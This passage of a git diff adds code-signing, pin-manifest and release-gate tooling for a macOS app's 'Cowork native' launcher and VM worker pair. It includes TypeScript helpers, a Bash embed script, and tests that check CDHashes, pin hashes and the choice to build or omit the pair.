undefined, facts: SignedNativeFacts, flavor: CoworkNativeFlavor = "dist"): string[] { + const want = { ...COWORK_NATIVE[role], identifier: coworkNativeIdentifier(role, flavor) }; const failures: string[] = []; const signed = signedFacts(facts.codesignDvv); if (signed.identifier !== want.identifier) failures.push(`${want.name}: codesign identifier is ${signed.identifier ?? "none"}, expected ${want.identifier}`); @@ -120,3 +126,154 @@ export function checkSignedNative(role: CoworkNativeRole, teamId: string | undef } return failures; } + + +// --------------------------------------------------------------------------------------------------------------------------------- +// The bundle gate: what a Winter.app must hold for the pair, checked by release.ts and verify:cowork-native on the SAME function. +// --------------------------------------------------------------------------------------------------------------------------------- + +/** The manifest `embed-cowork-native.sh` writes after signing. Nothing in the daemon reads it. */ +export const COWORK_NATIVE_MANIFEST_RELATIVE = join("Contents", "Resources", "cowork-native-pins.json"); +export const COWORK_WORKER_PINS_FILE = join("apple", "Cowork", "WinterCoworkHVFWorker", "pins.json"); +export const COWORK_GUEST_ARTIFACT_PINS_FILE = join("scripts", "cowork-guest-artifact", "pins.json"); + +export interface CoworkNativePins { + /** The libkrun archive and header the worker is linked and compiled against (the worker pins file's `libkrun` block). */ + libkrunArchiveSha256: string; + libkrunHeaderSha256: string; + /** The whole worker pins file and the whole guest artifact pins file: any edit to either is a different set of pins. */ + workerPinsSha256: string; + guestArtifactPinsSha256: string; +} +export interface CoworkNativeManifest { + formatVersion: 1; + launcher: { identifier: string; cdhash: string }; + worker: { identifier: string; cdhash: string }; + pins: CoworkNativePins; +} + +export const sha256Hex = (bytes: Uint8Array | string): string => createHash("sha256").update(bytes).digest("hex"); + +/** The pins as the repository states them right now. */ +export function readCoworkRepoPins(repo: string): CoworkNativePins { + const workerBytes = readFileSync(join(repo, COWORK_WORKER_PINS_FILE)); + const libkrun = (JSON.parse(workerBytes.toString("utf8")) as { libkrun?: { archiveSha256?: unknown; headerSha256?: unknown } }).libkrun; + const archive = libkrun?.archiveSha256, header = libkrun?.headerSha256; + if (typeof archive !== "string" || typeof header !== "string") throw new Error(`${COWORK_WORKER_PINS_FILE} has no libkrun archive and header hash`); + return { libkrunArchiveSha256: archive, libkrunHeaderSha256: header, workerPinsSha256: sha256Hex(workerBytes), guestArtifactPinsSha256: sha256Hex(readFileSync(join(repo, COWORK_GUEST_ARTIFACT_PINS_FILE))) }; +} + +/** `CDHash=<40 hex>` from `codesign -dvvv` output (three v: `-dvv` omits it). */ +export function parseCdHash(codesignDvv: string): string | undefined { + return /^CDHash=([0-9a-f]{40})$/m.exec(codesignDvv)?.[1]; +} + +const HEX64 = /^[0-9a-f]{64}$/, HEX40 = /^[0-9a-f]{40}$/; +const sameKeys = (value: object, keys: string[]): boolean => JSON.stringify(Object.keys(value).sort()) === JSON.stringify([...keys].sort()); + +/** Strict parse of the manifest: exactly these keys, these shapes. Null with a reason in `problems` when it is anything else. */ +export function parseCoworkNativeManifest(text: string, problems: string[]): CoworkNativeManifest | null { + let value: any; + try { value = JSON.parse(text); } catch { problems.push("the pin manifest is not JSON"); return null; } + const member = (v: any) => v && typeof v === "object" && sameKeys(v, ["identifier", "cdhash"]) && typeof v.identifier === "string" && HEX40.test(v.cdhash); + const pinKeys = ["libkrunArchiveSha256", "libkrunHeaderSha256", "workerPinsSha256", "guestArtifactPinsSha256"]; + if (!value || typeof value !== "object" || !sameKeys(value, ["formatVersion", "launcher", "worker", "pins"]) || value.formatVersion !== 1 || !member(value.launcher) || !member(value.worker) + || !value.pins || typeof value.pins !== "object" || !sameKeys(value.pins, pinKeys) || pinKeys.some((key) => !HEX64.test(value.pins[key]))) { + problems.push("the pin manifest does not have exactly the expected shape (formatVersion 1, launcher, worker, four pin hashes)"); + return null; + } + return value as CoworkNativeManifest; +} + +export interface CoworkNativeBundleFacts { + /** The names directly inside Contents/Helpers/WinterCowork ([] when the directory is missing). */ + entries: readonly string[]; + /** Contents/Resources/cowork-native-pins.json, or null when absent. */ + manifestText: string | null; + /** The CDHash `codesign -dvvv` reports for each binary in the bundle right now. */ + liveCdhash: { launcher: string | undefined; worker: string | undefined }; + /** `readCoworkRepoPins` of the checkout the bundle is being released from. */ + repoPins: CoworkNativePins; +} + +/** + * Refuses a bundle whose launcher, worker or pins do not match: the directory holds exactly the two binaries; the manifest has the exact shape and + * the two identifiers; the manifest's CDHashes are the live signed binaries' (a swapped or re-signed binary is a different CDHash); and every pin hash in + * the manifest is the repository's (the bundle was built against these libkrun inputs and these pin files, not some other set). Failure lines; empty = good. + */ +export function checkCoworkNativeBundle(facts: CoworkNativeBundleFacts): string[] { + const failures: string[] = []; + const want = [COWORK_NATIVE.launcher.name, COWORK_NATIVE.worker.name].sort(); + const have = [...facts.entries].sort(); + if (JSON.stringify(have) !== JSON.stringify(want)) failures.push(`Helpers/WinterCowork holds [${have.join(", ")}], expected exactly [${want.join(", ")}]`); + if (facts.manifestText === null) { failures.push("the pin manifest cowork-native-pins.json is missing"); return failures; } + const problems: string[] = []; + const manifest = parseCoworkNativeManifest(facts.manifestText, problems); + failures.push(...problems); + if (manifest === null) return failures; + for (const role of ["launcher", "worker"] as const) { + const name = COWORK_NATIVE[role].name; + if (manifest[role].identifier !== COWORK_NATIVE[role].identifier) failures.push(`${name}: the manifest names identifier ${manifest[role].identifier}, expected ${COWORK_NATIVE[role].identifier}`); + const live = facts.liveCdhash[role]; + if (live === undefined) failures.push(`${name}: no CDHash could be read from the signed binary`); + else if (live !== manifest[role].cdhash) failures.push(`${name}: the signed binary's CDHash ${live} is not the manifest's ${manifest[role].cdhash} (the binary changed after it was embedded)`); + } + for (const key of Object.keys(facts.repoPins) as (keyof CoworkNativePins)[]) { + if (manifest.pins[key] !== facts.repoPins[key]) failures.push(`pin ${key}: the bundle was built against ${manifest.pins[key]}, the repository now says ${facts.repoPins[key]}`); + } + return failures; +} + +/** The facts for a bundle on disk, by shelling out through the caller's `run` (stdout+stderr of a command). The caller is release.ts or a verify script. */ +export function readCoworkBundleFacts(input: { appContents: string; repo: string; listDirectory: (path: string) => string[]; readText: (path: string) => string | null; codesignDvvv: (path: string) => string }): CoworkNativeBundleFacts { + const dir = join(input.appContents, "Helpers", "WinterCowork"); + return { + entries: input.listDirectory(dir), + manifestText: input.readText(join(input.appContents, "Resources", "cowork-native-pins.json")), + liveCdhash: { launcher: parseCdHash(input.codesignDvvv(join(dir, COWORK_NATIVE.launcher.name))), worker: parseCdHash(input.codesignDvvv(join(dir, COWORK_NATIVE.worker.name))) }, + repoPins: readCoworkRepoPins(input.repo), + }; +} + + +// --------------------------------------------------------------------------------------------------------------------------------- +// The release choice: ship the pair (with the libkrun inputs) or omit it, explicitly. Never an accident. +// --------------------------------------------------------------------------------------------------------------------------------- + +export type CoworkNativeReleasePlan = + | { mode: "build"; include: string; archive: string } + | { mode: "omit" } + | { mode: "refuse"; message: string }; + +/** + * `COWORK_LIBKRUN_INCLUDE` + `COWORK_LIBKRUN_ARCHIVE` (both) build and ship the pair; `COWORK_NATIVE=omit` ships none; anything else refuses, with a message that names both ways out. + * Giving the inputs AND omit is contradictory, one input alone is half a build, and any other value of COWORK_NATIVE is a typo: all refuse. Winter releases must not block on an archive + * that does not exist yet, which is what `omit` is for; it is never the default. + */ +export function coworkNativeReleasePlan(env: Readonly>): CoworkNativeReleasePlan { + const include = env.COWORK_LIBKRUN_INCLUDE?.trim() || undefined, archive = env.COWORK_LIBKRUN_ARCHIVE?.trim() || undefined, choice = env.COWORK_NATIVE?.trim(); + const way = "set COWORK_LIBKRUN_INCLUDE and COWORK_LIBKRUN_ARCHIVE (S4's header directory and stripped production archive) to ship the Cowork native pair, or COWORK_NATIVE=omit to release without it"; + if (choice !== undefined && choice !== "" && choice !== "omit") return { mode: "refuse", message: `COWORK_NATIVE=${choice} is not a choice (the only value is "omit"); ${way}` }; + if (choice === "omit") { + return include !== undefined || archive !== undefined + ? { mode: "refuse", message: "COWORK_NATIVE=omit contradicts the libkrun inputs that are also set; give one or the other" } + : { mode: "omit" }; + } + if (include === undefined && archive === undefined) return { mode: "refuse", message: `the Cowork native pair has neither its inputs nor an explicit omit: ${way}` }; + if (include === undefined || archive === undefined) return { mode: "refuse", message: `only one of COWORK_LIBKRUN_INCLUDE and COWORK_LIBKRUN_ARCHIVE is set; ${way}` }; + return { mode: "build", include, archive }; +} + +export interface CoworkNativeOmittedFacts { + /** Whether Contents/Helpers/WinterCowork exists at all (even empty). */ + helpersDirectoryExists: boolean; + /** Contents/Resources/cowork-native-pins.json, or null when absent. */ + manifestText: string | null; +} +/** An omitted bundle carries no WinterCowork helpers and no pins file. Failure lines; empty = good. */ +export function checkCoworkNativeOmitted(facts: CoworkNativeOmittedFacts): string[] { + const failures: string[] = []; + if (facts.helpersDirectoryExists) failures.push("Contents/Helpers/WinterCowork exists, but the release omits the Cowork native pair"); + if (facts.manifestText !== null) failures.push("Contents/Resources/cowork-native-pins.json exists, but the release omits the Cowork native pair"); + return failures; +} diff --git a/scripts/cowork-native-tools.ts b/scripts/cowork-native-tools.ts new file mode 100644 index 000000000..ca6a0ccb5 --- /dev/null +++ b/scripts/cowork-native-tools.ts @@ -0,0 +1,37 @@ +// The shell-out half shared by `dev:cowork-native` and `verify:cowork-native` (the pure half is cowork-native-lib.ts). Everything here SIGNS or INSPECTS files in a +// directory the caller owns; nothing executes, loads or launches either binary (codesign, otool and strings-style reads only). +import { spawnSync } from "node:child_process"; +import { readFileSync } from "node:fs"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { COWORK_NATIVE, checkSignedNative, coworkNativeIdentifier, coworkRequirement, coworkSignArgs, type CoworkNativeFlavor, type CoworkNativeRole } from "./cowork-native-lib"; + +export const REPO_ROOT = join(dirname(fileURLToPath(import.meta.url)), ".."); +export const WORKER_ENTITLEMENTS = join(REPO_ROOT, "apple", "Cowork", "WinterCoworkHVFWorker", "worker.entitlements"); + +export function run(cmd: string, args: string[]): { status: number | null; stdout: string; stderr: string } { + const r = spawnSync(cmd, args, { encoding: "utf8", maxBuffer: 64 * 1024 * 1024 }); + return { status: r.status, stdout: r.stdout ?? "", stderr: r.stderr ?? "" }; +} + +/** Signs one member of the pair in place (worker with the hypervisor entitlement, launcher with none). `identity` "-" is ad hoc. Returns failure lines. */ +export function signNative(path: string, role: CoworkNativeRole, flavor: CoworkNativeFlavor, input: { identity: string; teamId?: string; timestamp: boolean; entitlementsFile?: string }): string[] { + const signed = run("codesign", coworkSignArgs({ identity: input.identity, role, flavor, teamId: input.teamId, path, timestamp: input.timestamp, ...(role === "worker" ? { entitlementsFile: input.entitlementsFile ?? WORKER_ENTITLEMENTS } : {}) })); + return signed.status === 0 ? [] : [`codesign of ${COWORK_NATIVE[role].name} failed: ${signed.stderr.trim()}`]; +} + +/** The signature, requirement, entitlement, library and test-hook checks on an already-signed member, plus (team-signed only) a strict verify against its own stated requirement. */ +export function inspectNative(path: string, role: CoworkNativeRole, flavor: CoworkNativeFlavor, teamId: string | undefined): string[] { + const dr = run("codesign", ["-d", "-r-", path]); + const failures = checkSignedNative(role, teamId, { + codesignDvv: run("codesign", ["-dvv", path]).stderr, + codesignDr: `${dr.stdout}\n${dr.stderr}`, + entitlementsXml: run("codesign", ["-d", "--entitlements", "-", "--xml", path]).stdout, + otoolL: run("otool", ["-L", path]).stdout, + executable: readFileSync(path), + }, flavor); + // An ad-hoc signature (no team) cannot satisfy a requirement that names a certificate's OU; only a team-signed member is verified against it. + const strict = teamId === undefined ? { status: 0, stderr: "" } : run("codesign", ["--verify", "--strict", `-R=${coworkRequirement(coworkNativeIdentifier(role, flavor), teamId)}`, path]); + if (strict.status !== 0) failures.push(`${COWORK_NATIVE[role].name} does not satisfy its own stated requirement: ${strict.stderr.trim()}`); + return failures; +} diff --git a/scripts/dev-cowork-native.ts b/scripts/dev-cowork-native.ts new file mode 100644 index 000000000..6fb0633fb --- /dev/null +++ b/scripts/dev-cowork-native.ts @@ -0,0 +1,95 @@ +/** + * Stage and sign the DEV Cowork native pair for the dev daemon. The dev daemon is `dist/dev/winter-core`; the environment looks for the pair at + * `/../Helpers/WinterCowork`, so the default target is `dist/Helpers/WinterCowork/` (the app's `Contents/Helpers/WinterCowork` seen from + * `Contents/Resources/winter-core`, with `dist` standing in for `Contents`). + * + * bun run dev:cowork-native sign the pair staged in dist/cowork-native with the dev identity (WINTER_DEV_SIGN_IDENTITY overrides) + * bun run dev:cowork-native --build --libkrun-include --libkrun-archive + * build the unsigned pair first (scripts/build-cowork-native.ts), then sign + * bun run dev:cowork-native --identity - --out [--launcher --worker ] + * ad-hoc, into a scratch directory: a proof build. It touches nothing else. + * + * The launcher is signed as `com.winter.cowork.launcher.dev` (the launcher reads which daemon it serves from its OWN signing identifier, so no argument can + * switch it), the worker as `com.winter.cowork.worker` with the hypervisor entitlement only, each with its STATED designated requirement, the hardened runtime + * and no secure timestamp (a dev build needs no network). Checks are `checkSignedNative`'s. NOTHING IN THIS SCRIPT RUNS EITHER BINARY, and it never launches an app, + * touches the user's daemon or the dist home. The feature is still OFF in the daemon (the activation seam answers undefined). + */ +import { copyFileSync, existsSync, mkdirSync, mkdtempSync, renameSync, rmSync } from "node:fs"; +import { dirname, join, resolve } from "node:path"; +import { WINTER_TEAM_ID } from "../packages/core/src/auth/app-token-acl"; +import { buildCoworkNative } from "./build-cowork-native"; +import { COWORK_NATIVE, coworkRequirement } from "./cowork-native-lib"; +import { inspectNative, REPO_ROOT, run, signNative } from "./cowork-native-tools"; +import { resolveDevSigningIdentity } from "./dev-daemon-lib"; + +export const DEV_PAIR_DIR = join(REPO_ROOT, "dist", "Helpers", "WinterCowork"); + +function die(message: string): never { + console.error(`dev:cowork-native: ${message}`); + process.exit(1); +} + +/** Copies the two inputs into a sibling temp directory, signs and inspects them there, then swaps the directory in. Returns failure lines (the target is untouched then). */ +export function stageDevPair(input: { launcher: string; worker: string; target: string; identity: string; teamId: string | undefined }): string[] { + mkdirSync(dirname(input.target), { recursive: true }); + const tmp = mkdtempSync(join(dirname(input.target), ".WinterCowork-")); + const failures: string[] = []; + try { + const launcher = join(tmp, COWORK_NATIVE.launcher.name), worker = join(tmp, COWORK_NATIVE.worker.name); + copyFileSync(input.worker, worker); copyFileSync(input.launcher, launcher); + // Nested code first, each with its own identity, never --deep. + failures.push(...signNative(worker, "worker", "dev", { identity: input.identity, teamId: input.teamId, timestamp: false })); + failures.push(...signNative(launcher, "launcher", "dev", { identity: input.identity, teamId: input.teamId, timestamp: false })); + if (failures.length === 0) { + failures.push(...inspectNative(worker, "worker", "dev", input.teamId), ...inspectNative(launcher, "launcher", "dev", input.teamId)); + } + if (failures.length === 0) { + const old = `${input.target}.old-${process.pid}`; + if (existsSync(input.target)) renameSync(input.target, old); + renameSync(tmp, input.target); + rmSync(old, { recursive: true, force: true }); + } + } finally { + rmSync(tmp, { recursive: true, force: true }); + } + return failures; +} + +function main(): void { + if (process.platform !== "darwin") die("macOS only"); + const argv = process.argv.slice(2); + const valueOf = (flag: string): string | undefined => { + const i = argv.indexOf(flag); + if (i < 0) return undefined; + const v = argv[i + 1]; + if (v === undefined || v.startsWith("--")) die(`${flag} needs a value`); + return v; + }; + const known = new Set(["--build", "--out", "--launcher", "--worker", "--identity", "--libkrun-include", "--libkrun-archive"]); + const values = new Set(["--out", "--launcher", "--worker", "--identity", "--libkrun-include", "--libkrun-archive"].map(valueOf).filter((v): v is string => v !== undefined)); + const unknown = argv.filter((a) => !known.has(a) && !values.has(a)); + if (unknown.length > 0) die(`unknown argument ${unknown[0]}`); + + let launcher = valueOf("--launcher") ?? join(REPO_ROOT, "dist", "cowork-native", COWORK_NATIVE.launcher.name); + let worker = valueOf("--worker") ?? join(REPO_ROOT, "dist", "cowork-native", COWORK_NATIVE.worker.name); + if (argv.includes("--build")) { + const built = buildCoworkNative({ out: join(REPO_ROOT, "dist", "cowork-native"), include: valueOf("--libkrun-include") ?? process.env.COWORK_LIBKRUN_INCLUDE, archive: valueOf("--libkrun-archive") ?? process.env.COWORK_LIBKRUN_ARCHIVE }); + launcher = built.launcher; worker = built.worker!; + } + for (const input of [launcher, worker]) if (!existsSync(input)) die(`${input} does not exist — pass --build with the libkrun inputs, or --launcher/--worker`); + + const identityFlag = valueOf("--identity"); + const adHoc = identityFlag === "-"; + const identity = adHoc ? "-" : identityFlag ?? resolveDevSigningIdentity({ + identitiesOutput: run("security", ["find-identity", "-v", "-p", "codesigning"]).stdout, teamId: WINTER_TEAM_ID, override: process.env.WINTER_DEV_SIGN_IDENTITY, + subjectOf: (name) => { const pem = run("security", ["find-certificate", "-c", name, "-p"]).stdout; if (pem === "") return undefined; const r = Bun.spawnSync(["openssl", "x509", "-noout", "-subject"], { stdin: new TextEncoder().encode(pem) }); return r.exitCode === 0 ? r.stdout.toString() : undefined; }, + }).hash; + // An ad-hoc signature carries no team, so it is only ever allowed into an explicit scratch directory (--out), never the dev daemon's own pair directory. + if (adHoc && valueOf("--out") === undefined) die("--identity - (ad hoc) needs --out : the dev daemon's pair must be signed with the team identity"); + const target = valueOf("--out") === undefined ? DEV_PAIR_DIR : resolve(valueOf("--out")!); + const failures = stageDevPair({ launcher, worker, target, identity, teamId: adHoc ? undefined : WINTER_TEAM_ID }); + if (failures.length > 0) die(`the signed pair is not what the daemon needs:\n ${failures.join("\n ")}`); + console.error(`dev:cowork-native: ${target} — ${COWORK_NATIVE.launcher.devIdentifier} (no entitlements) and ${COWORK_NATIVE.worker.identifier} (the hypervisor entitlement only), designated => ${coworkRequirement(COWORK_NATIVE.launcher.devIdentifier, adHoc ? undefined : WINTER_TEAM_ID)}${adHoc ? " (ad hoc: scratch proof only)" : ""}. Nothing was run.`); +} + +if (import.meta.main) main(); diff --git a/scripts/embed-cowork-native.sh b/scripts/embed-cowork-native.sh index 1348ad375..f2e48900b 100755 --- a/scripts/embed-cowork-native.sh +++ b/scripts/embed-cowork-native.sh @@ -1,7 +1,8 @@ #!/usr/bin/env bash -# The body of the "Embed Cowork native pair" build phase that S7 adds to apple/Winter/project.yml, in its own file so it is tested -# standalone (scripts/embed-cowork-native.test.ts), like embed-computer-helper.sh beside it. NOTHING CALLS THIS YET: project.yml and -# release.ts are S7's, and a test pins that they do not reference it. +# The body of the "Embed Cowork native" build phase in apple/Winter/project.yml, in its own file so it is tested standalone +# (scripts/embed-cowork-native.test.ts), like embed-computer-helper.sh beside it. release.ts builds the inputs first +# (scripts/build-cowork-native.ts) and gates the result (checkCoworkNativeBundle in scripts/cowork-native-lib.ts). The feature stays OFF in the daemon: +# shipping the pair activates nothing. # # The Cowork native pair is two nested tools the DAEMON spawns itself (never through LaunchServices): # @@ -20,6 +21,9 @@ # executed worker image against it before resuming it, so the string stated here is the one the launcher enforces. # 4. Check the signatures took: recorded requirement == stated, identifier, hardened runtime, entitlements (worker: exactly the # hypervisor key; launcher: none). +# 5. Write Contents/Resources/cowork-native-pins.json: the CDHash of each signed binary and the hashes of the pin files the pair was built +# against (the worker's libkrun archive and header, the worker pins file, the guest artifact pins file). The release gate refuses a bundle +# whose manifest, binaries or pins disagree with each other or with the repository. # # Env (Xcode's, as in embed-computer-helper.sh): BUILT_PRODUCTS_DIR, CONTENTS_FOLDER_PATH, CONFIGURATION, # EXPANDED_CODE_SIGN_IDENTITY, DEVELOPMENT_TEAM. Inputs (default under dist/cowork-native/, S7's build step puts them there): @@ -34,6 +38,21 @@ if [ "${CONFIGURATION:-}" != "Release" ]; then exit 0 fi +# Three cases besides a normal embed (the order matters): +# COWORK_NATIVE=omit an explicit release without the pair: nothing is embedded, and anything a previous build left in the bundle is removed (no helpers, no pins file). +# an unrelated value refused (a typo must not ship or omit by accident). +# no input at all a build that has no dist/cowork-native (a developer's Release build, CI): nothing is embedded and the build still succeeds. release.ts does not rely on this: +# it either builds the inputs first or sets omit, and its gate then requires the pair (or its absence) to match that choice. +# Exactly one of the two inputs is an error in every case. +case "${COWORK_NATIVE:-}" in + "") ;; + omit) + rm -rf "${BUILT_PRODUCTS_DIR}/${CONTENTS_FOLDER_PATH}/Helpers/WinterCowork" "${BUILT_PRODUCTS_DIR}/${CONTENTS_FOLDER_PATH}/Resources/cowork-native-pins.json" + echo "skip Cowork native embed (COWORK_NATIVE=omit): no WinterCowork helpers, no pins file" + exit 0 ;; + *) echo "error: COWORK_NATIVE=${COWORK_NATIVE} is not a choice (the only value is omit)" >&2; exit 1 ;; +esac + TEAM="${DEVELOPMENT_TEAM:-37N77U9RSZ}" LAUNCHER_NAME="winter-cowork-launcher" LAUNCHER_ID="com.winter.cowork.launcher" @@ -68,6 +87,11 @@ check_input() { # $1 = path, $2 = name fail "${name} embeds the builder's repository or home path — build with scripts/cowork-native-lib.ts's launcherBuildArgs (-Xswiftc -gnone -Xlinker -S -Xlinker -x)" fi } +if [ ! -e "${LAUNCHER_SRC}" ] && [ ! -e "${WORKER_SRC}" ]; then + rm -rf "${DEST_DIR}" "${BUILT_PRODUCTS_DIR}/${CONTENTS_FOLDER_PATH}/Resources/cowork-native-pins.json" + echo "skip Cowork native embed (no inputs under dist/cowork-native): the bundle carries no WinterCowork helpers and no pins file" + exit 0 +fi check_input "${LAUNCHER_SRC}" "${LAUNCHER_NAME}" check_input "${WORKER_SRC}" "${WORKER_NAME}" @@ -115,4 +139,19 @@ sign_and_check() { # $1 = name, $2 = identifier, $3 = requirement, $4 = entitlem sign_and_check "${WORKER_NAME}" "${WORKER_ID}" "${WORKER_REQ}" "${ENTITLEMENTS_FILE}" sign_and_check "${LAUNCHER_NAME}" "${LAUNCHER_ID}" "${LAUNCHER_REQ}" "" +# ---- the pin manifest (read back by checkCoworkNativeBundle; nothing in the daemon reads it) +WORKER_PINS="${COWORK_WORKER_PINS:-${REPO}/apple/Cowork/WinterCoworkHVFWorker/pins.json}" +GUEST_PINS="${COWORK_GUEST_ARTIFACT_PINS:-${REPO}/scripts/cowork-guest-artifact/pins.json}" +[ -f "${WORKER_PINS}" ] || fail "the worker pins file is not at ${WORKER_PINS}" +[ -f "${GUEST_PINS}" ] || fail "the guest artifact pins file is not at ${GUEST_PINS}" +sha256_of() { shasum -a 256 "$1" | awk '{print $1}'; } +cdhash_of() { codesign -dvvv "$1" 2>&1 | sed -n 's/^CDHash=//p'; } +pin_of() { plutil -extract "$1" raw -o - "${WORKER_PINS}"; } +MANIFEST="${BUILT_PRODUCTS_DIR}/${CONTENTS_FOLDER_PATH}/Resources/cowork-native-pins.json" +mkdir -p "$(dirname "${MANIFEST}")" +LAUNCHER_CDHASH="$(cdhash_of "${DEST_DIR}/${LAUNCHER_NAME}")"; WORKER_CDHASH="$(cdhash_of "${DEST_DIR}/${WORKER_NAME}")" +[ -n "${LAUNCHER_CDHASH}" ] && [ -n "${WORKER_CDHASH}" ] || fail "could not read a CDHash from the signed pair" +printf '{\n "formatVersion": 1,\n "launcher": { "identifier": "%s", "cdhash": "%s" },\n "worker": { "identifier": "%s", "cdhash": "%s" },\n "pins": {\n "libkrunArchiveSha256": "%s",\n "libkrunHeaderSha256": "%s",\n "workerPinsSha256": "%s",\n "guestArtifactPinsSha256": "%s"\n }\n}\n' \ + "${LAUNCHER_ID}" "${LAUNCHER_CDHASH}" "${WORKER_ID}" "${WORKER_CDHASH}" "$(pin_of libkrun.archiveSha256)" "$(pin_of libkrun.headerSha256)" "$(sha256_of "${WORKER_PINS}")" "$(sha256_of "${GUEST_PINS}")" > "${MANIFEST}" + echo "Cowork native pair embedded at Contents/Helpers/WinterCowork and signed (${WORKER_NAME} as ${WORKER_ID} with the hypervisor entitlement only; ${LAUNCHER_NAME} as ${LAUNCHER_ID} with none; stated designated requirements, hardened runtime)" diff --git a/scripts/embed-cowork-native.test.ts b/scripts/embed-cowork-native.test.ts index 1a7be88a5..e5e97e777 100644 --- a/scripts/embed-cowork-native.test.ts +++ b/scripts/embed-cowork-native.test.ts @@ -136,6 +136,20 @@ describe("embed-cowork-native.sh (the Cowork native pair's build phase, standalo expect(existsSync(stray)).toBe(false); }); + test("COWORK_NATIVE=omit removes a stale pair and a stale pins file, embeds nothing and succeeds", () => { + const r = rig(); + expect(embed(r).status).toBe(0); // a previous build left the pair behind + const pins = join(r.dir, "built", "Winter.app", "Contents", "Resources", "cowork-native-pins.json"); + mkdirSync(join(pins, ".."), { recursive: true }); + writeFileSync(pins, "{}"); + expect(existsSync(dest(r))).toBe(true); + const out = embed(r, { COWORK_NATIVE: "omit" }); + expect(out.status).toBe(0); + expect(out.stdout).toContain("COWORK_NATIVE=omit"); + expect(existsSync(dest(r))).toBe(false); + expect(existsSync(pins)).toBe(false); + }); + test("refuses a missing input", () => { const r = rig(); rmSync(r.worker); @@ -263,7 +277,7 @@ describe("cowork-native-lib", () => { }); }); -describe("the pair stays unwired and agrees with the Swift launcher", () => { +describe("the pair is wired only where S7B says, and agrees with the Swift launcher", () => { const read = (...p: string[]) => readFileSync(join(REPO, ...p), "utf8"); test("the script's identifiers, team and flag are the lib's and the Swift launcher's", () => { @@ -290,7 +304,7 @@ describe("the pair stays unwired and agrees with the Swift launcher", () => { expect(statSync(SCRIPT).mode & 0o111).not.toBe(0); }); - test("nothing in the app project, the release gate or the daemon/CLI sources refers to the launcher, the pair or this script (S7 wires them)", () => { + test("only the app project, the release gate and the daemon's host-env refer to the pair; the daemon has no other reference and the feature stays off", () => { const needles = ["embed-cowork-native", "cowork-native-lib", "winter-cowork-launcher", "winter-cowork-worker", "WinterCoworkLauncher"]; const files = [ join("apple", "Winter", "project.yml"), join("scripts", "release.ts"), join("scripts", "release-lib.ts"), join("package.json"), @@ -298,7 +312,22 @@ describe("the pair stays unwired and agrees with the Swift launcher", () => { ...walk(join(REPO, "packages", "cli", "src")).map((p) => p.slice(REPO.length + 1)), ]; const hits = files.filter((file) => existsSync(join(REPO, file)) && needles.some((needle) => read(file).includes(needle))); - expect(hits).toEqual([]); + expect(hits.sort()).toEqual([ + join("apple", "Winter", "project.yml"), join("packages", "core", "src", "cowork", "host-env", "environment.ts"), join("packages", "core", "src", "cowork", "host-env", "launcher-port.ts"), join("scripts", "release.ts"), + ]); + // The phase runs the script, and the release gate runs the same checks the verify gate does. + expect(read("apple", "Winter", "project.yml")).toContain('"${SRCROOT}/../../scripts/embed-cowork-native.sh"'); + const release = read("scripts", "release.ts"); + for (const call of ["checkCoworkNativeBundle(readCoworkBundleFacts(", "checkSignedNative(role, TEAM_ID,", "buildCoworkNative({ out: join(ROOT", "coworkNativeReleasePlan(process.env)", "if (nativePlan.mode === \"refuse\") fail(nativePlan.message)", "checkCoworkNativeOmitted({", "if (omitted.length > 0) fail(`the release omits the Cowork native pair but the bundle carries it", "nativePlan.mode === \"omit\""]) expect(release).toContain(call); + // Every other script that runs a Release xcodebuild says what it does about the pair (the sparkle feed rig omits it explicitly). + expect(read("scripts", "sparkle-feed-gate.ts")).toContain("COWORK_NATIVE=omit xcodebuild"); + // The opt-out is loud, total and asserted in release.ts: it prints, builds and gates nothing, skips both hardening pins, and requires the helpers and the pins file to be ABSENT. + expect(release).toContain("Cowork native pair: OMITTED by COWORK_NATIVE=omit"); + expect(release).toContain('if (nativePlan.mode === "build") {'); + expect(release).toContain('...(nativePlan.mode === "omit" ? [] : ['); + expect(release).toContain('helpersDirectoryExists: existsSync(join(app, COWORK_NATIVE_EMBED_RELATIVE))'); + // The daemon's reading of the pair is behind the activation seam, which is off. + expect(read("packages", "core", "src", "cowork", "native-activation.ts")).toContain("COWORK_NATIVE_ENVIRONMENT_ACTIVATED: boolean = false"); }); }); diff --git a/scripts/release.ts b/scripts/release.ts index 17a5c35e3..c3f2d518e 100644 --- a/scripts/release.ts +++ b/scripts/release.ts @@ -123,6 +123,8 @@ import { winterSourceOf } from "../packages/core/src/runtime-sdk/bundle-layout"; import { REQUIRED_WINTER_AGENT_SDK } from "../packages/core/src/runtime-sdk/versions"; import { buildWinter } from "./build-winter"; import { resolveInstalledWinterPackage } from "./stage-runtimes"; +import { buildCoworkNative } from "./build-cowork-native"; +import { COWORK_NATIVE, COWORK_NATIVE_EMBED_RELATIVE, checkCoworkNativeBundle, checkCoworkNativeOmitted, checkSignedNative, coworkNativeReleasePlan, coworkRequirement, readCoworkBundleFacts } from "./cowork-native-lib"; import { createHash } from "node:crypto"; const TEAM_ID = "37N77U9RSZ"; @@ -465,6 +467,20 @@ rmSync(OUT, { recursive: true, force: true }); mkdirSync(OUT, { recursive: true }); const dd = join(OUT, "dd"); +// N2 (Cowork native worker): the launcher and the VM worker are built UNSIGNED into dist/cowork-native, where project.yml's "Embed Cowork native" phase +// (scripts/embed-cowork-native.sh) reads them. The worker links S4's stripped libkrun archive, which this repository does not build or download, so the release makes an +// EXPLICIT choice (coworkNativeReleasePlan): the inputs (COWORK_LIBKRUN_INCLUDE = the directory holding libkrun.h, COWORK_LIBKRUN_ARCHIVE = the archive; build.py refuses unless both hash to +// apple/Cowork/WinterCoworkHVFWorker/pins.json) or COWORK_NATIVE=omit, which ships no WinterCowork helpers and no pins file. Neither fails closed here, before anything is built. +// Shipping the pair activates nothing (the daemon still refuses Cowork sessions). +const nativePlan = coworkNativeReleasePlan(process.env); +if (nativePlan.mode === "refuse") fail(nativePlan.message); +if (nativePlan.mode === "build") { + console.log("Building the Cowork native pair (launcher: swift build; worker: build.py against the pinned libkrun archive)..."); + buildCoworkNative({ out: join(ROOT, "dist", "cowork-native"), include: nativePlan.include, archive: nativePlan.archive }); +} else { + console.log("Cowork native pair: OMITTED by COWORK_NATIVE=omit (no WinterCowork helpers, no pins file in this release)."); +} + console.log("Generating Xcode project (xcodegen)..."); sh(`xcodegen generate`, APPLE_DIR); @@ -891,6 +907,49 @@ assertSigned(browserHostPath, "winter-browser-host"); if (failures.length > 0) fail(`winter-browser-host is not signed the way the daemon and Chrome need:\n ${failures.join("\n ")}`); 